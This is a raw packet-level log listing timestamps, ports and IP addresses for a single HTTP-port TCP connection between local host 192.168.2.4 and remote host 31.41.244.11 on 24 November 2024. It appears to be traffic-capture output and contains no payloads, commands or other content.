Nov 24, 2024 14:24:24.243690014 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.243735075 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.243767023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.243803978 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.244568110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.244610071 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.244678020 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.244719028 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.245523930 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.245635033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.245641947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.245691061 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.246433020 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.246478081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.246539116 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.246582031 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.247364998 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.247409105 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.247479916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.247538090 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.248281956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.248370886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.248393059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.248486042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.249237061 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.249358892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.249382973 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.249397039 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.250159979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.250199080 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.250263929 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.250322104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.251086950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.251138926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.251157999 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.251347065 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.252007961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.252072096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.252177000 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.252221107 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.253041983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.253115892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.253174067 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.253241062 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.253947973 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.253993034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.253998041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.254046917 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.254796028 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.254899979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.254946947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.255759954 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.255805016 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.255834103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.255912066 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.256736040 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.256783962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.256810904 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.256849051 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.257642984 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.257685900 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.257713079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.257791996 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.258507967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.258554935 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.258646965 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.258696079 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.259442091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.259541988 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.259584904 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.260374069 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.260421991 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.260451078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.260514975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.261301041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.261342049 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.261434078 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.261488914 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.262232065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.262351036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.262368917 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.262382984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.263183117 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.263232946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.263266087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.263441086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.264085054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.264134884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.264265060 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.264312029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.264987946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.265033960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.265096903 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.265149117 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.265969992 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.266024113 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.266030073 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.266067028 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.419306993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.419358969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.419409037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.419536114 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.419760942 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.419807911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.419856071 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.419898987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.420691967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.420836926 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.420885086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.421592951 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.421720982 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.421766043 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.422522068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.422568083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.422621012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.423198938 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.423469067 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.423512936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.423563957 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.424386024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.424429893 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.424479961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.425335884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.425383091 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.425450087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.425493002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.426270962 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.426366091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.426409960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.427181005 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.427278996 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.427329063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.428132057 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.428178072 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.428215981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.429043055 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.429061890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.429105997 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.429137945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.429182053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.429956913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.430002928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.430063009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.430104971 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.430898905 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.430937052 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.431006908 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.431840897 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.431886911 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.431945086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.432758093 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.432802916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.432859898 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.432903051 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.433662891 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.433777094 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.433821917 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.434592009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.434645891 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.434689999 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.435558081 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.435682058 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.435724974 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.436489105 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.436531067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.436563015 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.437427998 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.437470913 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.437506914 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.438329935 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.438376904 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.438467979 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.439254999 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.439301968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.439352036 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.439397097 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.440184116 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.440304995 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.440351009 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.441113949 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.441225052 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.441272020 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.442037106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.442079067 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.442150116 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.442965031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.443005085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.443077087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.443912983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.443960905 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.444036961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.444078922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.444848061 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.445003033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.445048094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.445795059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.445910931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.445954084 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.446679115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.446727037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.446804047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.447225094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.447630882 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.447673082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.447732925 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.447774887 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.448565960 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.448606014 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.448637009 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.448678970 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.449482918 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.449526072 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.449584961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.449626923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.450392008 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.450437069 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.450501919 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.450551033 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.451328993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.451370955 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.451425076 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.451468945 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.452276945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.452321053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.452352047 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.452394962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.453180075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.453313112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.453360081 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.454129934 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.454186916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.454232931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.455070019 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.455116987 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.455172062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.456005096 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.456052065 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.456116915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.456156015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.456926107 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.457051992 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.457062960 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.457083941 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.457865953 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.457904100 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.457967997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.458010912 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.458796024 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.458837032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.458889961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.458931923 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.459707022 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.459822893 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.459867001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.460632086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.460839033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.460884094 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.461560011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.461602926 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.461635113 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.462503910 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.462546110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.462558031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.463428020 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.463475943 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.463535070 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.463577986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.464380980 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.464518070 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.464569092 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.465322018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.465400934 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.465451002 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.466212988 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.466252089 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.466278076 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.467155933 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.467199087 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.467245102 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.467427969 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.620630026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.620693922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.620753050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.620803118 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.621176004 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.621220112 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.621419907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.621462107 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.621947050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.621999979 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.622057915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.622097015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.622888088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.622931004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.623025894 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.623070955 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.623913050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.623956919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.624041080 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.624084949 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.624754906 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.624799013 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.624866962 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.624910116 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.625648975 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.625693083 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.625724077 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.625762939 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.626626968 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.626669884 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.626722097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.626765013 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.627523899 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.627568007 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.627697945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.627739906 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.628504992 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.628546953 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.628593922 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.628638029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.629389048 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.629432917 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.629491091 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.629533052 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.630315065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.630361080 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.630387068 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.630428076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.631258011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.631302118 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.631377935 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.631421089 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.632198095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.632241964 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.632297993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.632339954 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.633106947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.633157015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:24.633182049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:24.633219004 CET	49778	80	192.168.2.4	31.41.244.11
